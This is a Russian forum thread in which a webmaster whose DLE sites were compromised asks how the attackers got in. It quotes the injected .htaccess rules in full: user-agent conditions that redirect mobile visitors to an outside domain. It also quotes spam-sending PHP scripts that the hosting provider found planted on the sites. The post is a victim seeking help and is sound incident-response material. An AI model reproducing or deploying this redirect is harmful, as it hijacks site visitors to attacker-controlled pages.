Взломали сайт, нужна помощь

DerectiveDX · 2013-01-04T07:41:19.0000000Z

Всем день добрый! У меня на хосте расположено 10 сайтов , 4 из них работают, 3 стоят в закрытом состоянии (ждут своего часа) и еще 3 тестовых с разными cms, которые так же находятся в закрытом состоянии. Не так давно заметил, что в файле .htaccess абсолютно каждого сайта впихнули левый редирект на какой то даже не работающий мобильный сайт и поменяли права на незапись 444. Заметив это я вычестил все файлы и поменял пасс от админки хоста. Однако, в скором времени все файлы .htaccess вновь наполнились тем же самым редиректом. Собственно вот этот самый код, который впихнкли во все .htaccess: RewriteEngine on RewriteCond %{HTTP_ACCEPT} "text/vnd.wap.wml|application/vnd.wap.xhtml+xml" [NC,OR] RewriteCond %{HTTP_USER_AGENT} "acs|alav|alca|amoi|audi|aste|avan|benq|bird|blac|blaz|brew|cell|cldc|cmd-" [NC,OR] RewriteCond %{HTTP_USER_AGENT} "dang|doco|eric|hipt|inno|ipaq|java|jigs|kddi|keji|leno|lg-c|lg-d|lg-g|lge-" [NC,OR] RewriteCond %{HTTP_USER_AGENT} "maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|nec-|newt|noki|opwv" [NC,OR] RewriteCond %{HTTP_USER_AGENT} "palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|sage|sams|sany" [NC,OR] RewriteCond %{HTTP_USER_AGENT} "sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo" [NC,OR] RewriteCond %{HTTP_USER_AGENT} "teli|tim-|tosh|tsm-|upg1|upsi|vk-v|voda|w3cs|wap-|wapa|wapi" [NC,OR] RewriteCond %{HTTP_USER_AGENT} "wapp|wapr|webc|winw|winw|xda|xda-" [NC,OR] RewriteCond %{HTTP_USER_AGENT} "up.browser|up.link|windowssce|iemobile|mini|mmp" [NC,OR] RewriteCond %{HTTP_USER_AGENT} "symbian|midp|wap|phone|pocket|mobile|pda|psp|PPC|Android" [NC] RewriteCond %{HTTP_USER_AGENT} !macintosh [NC] RewriteCond %{HTTP_USER_AGENT} !america [NC] RewriteCond %{HTTP_USER_AGENT} !avant [NC] RewriteCond %{HTTP_USER_AGENT} !download [NC] RewriteCond %{HTTP_USER_AGENT} !windows-media-player [NC] RewriteRule ^(.*)$ http://mobile-content.info/direct.php [L,R=302] А сегодня от хостера пришло такое письмо про спам: Все сайты взломаны, используются для рассылки емейл спама, ввиду этого были остановлены. Пример: 075 X-PHP-Script: сайт.ru/engine/newsFeb.php for 93.64.61.243, 93.64.61.243 085 X-PHP-Script: сайт.ru/engine/getinfo470n.php for 110.162.109.59, 110.162.109.59 081 X-PHP-Script: сайт.ru/engine/getinfopTdL.php for 84.122.226.216, 84.122.226.216 084 X-PHP-Script: сайт.com/b071282e47/index2ruB.php for 95.60.114.158, 95.60.114.158 и так во всех сайтах. 3 из этих сайтов даже никогда не открывались и не проиндексированы. Из сторонних модулей использую только два и то лишь на некоторых сайтах: "модуль переходы с ПС" и "модуль кто онлайн". Движок на всех рабочих сайтах ДЛЕ Собственно главный вопрос темы: Где искать дыру? виноваты дырявые модули? снести их? или же может каким то образом был украден пороль? Если рассуждать логически то права на файл .htaccess можно было поменять только зная пороль от фтп или админки-хоста, я прав? или нет. И если даже взломали как либо через сторонний модуль, то как тогда впихнули редирект во все другие сайты? которые даже никогда в жизни не открывались. И каким образом впихнули это? через админку? фтп? или как еще 075 X-PHP-Script: сайт.ru/engine/newsFeb.php for 93.64.61.243, 93.64.61.243 085 X-PHP-Script: сайт.ru/engine/getinfo470n.php for 110.162.109.59, 110.162.109.59 081 X-PHP-Script: сайт.ru/engine/getinfopTdL.php for 84.122.226.216, 84.122.226.216 084 X-PHP-Script: сайт.com/b071282e47/index2ruB.php for 95.60.114.158, 95.60.114.158 Что бы не тыкать пальцем в небо, прошу помощи, где собака зарыта? какие пороли поменять? или что еще.. Спасибо.

DD

9

DerectiveDX

4 января 2013, 10:05

#11

как могли отключить Ваши сайты - за что вы тогда платите хостерам?

За то, что взломали и прозвели рассылку спама с них.

Еще и тех. поддержка какая то неадекватная, сгоняют меня с хоста, уже деньги вернули. На все сообщения полнейший игнор. Как будто никого не взламывают. Как бараны встали на своем...

Спасибо всем откликнувшимся за советы, справлюсь своими силами. Если конешно же удасться договориться с этими уро..ми, но чувствую другой хост искать нужно.

п.с. Что бы не плодить топики, может кто знает проверенный, абузостойчивый, недорогой хост? Спасибо!

Руководство Twitter прояснило ситуацию Яндекс найдет лучшую цену Хакеры взломали 250 тысяч

КВ

47

Кот в сапогах

4 января 2013, 16:04

#12

DerectiveDX, Что за хостинг?

Обнови движки все первым делом. Антивирусом проверь и этим скриптом http://www.revisium.com/ai/ и т.д...

А это в строку поиска гугла вставь site:forum.searchengines.ru взломали сайт DLE

S

130

spiderbuber

5 января 2013, 08:02

#13

ТС, забудь про хосты, юзай ВПС! Рекомендую брать тут.

DD

9

DerectiveDX

5 января 2013, 08:05

#14

Кот в сапогах:
DerectiveDX, Что за хостинг?

Обнови движки все первым делом. Антивирусом проверь и этим скриптом http://www.revisium.com/ai/ и т.д...

А это в строку поиска гугла вставь site:forum.searchengines.ru взломали сайт DLE

camelhost.net

804

Jaf4

5 января 2013, 09:28

#15

spiderbuber:
ТС, забудь про хосты, юзай ВПС! Рекомендую брать тут.

берешься все перенести, проконсультировать, настроить и дать гарантии? нет? А нафига тогда реф.ссылку публикуешь здесь?

1

New! NVMe VPS от SmartApe.ru (https://goo.gl/eoYYkS)

Все что нужно знать о DDоS-атаках грамотному менеджеру

Дзен реализовал для авторов возможность вывода денег через СПБ